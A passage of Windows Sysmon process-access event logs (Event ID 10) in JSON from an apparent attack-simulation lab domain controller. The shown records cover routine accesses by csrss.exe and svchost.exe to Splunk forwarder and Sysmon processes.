Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6144,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.901\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41F1-5F2D-0000-0010750B0900}\r\nTargetProcessId: 3904\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.901","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41F1-5F2D-0000-0010750B0900}","TargetProcessId":"3904","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6145,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6146,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6147,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6148,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6149,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6150,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6151,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.901","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6152,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.901\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 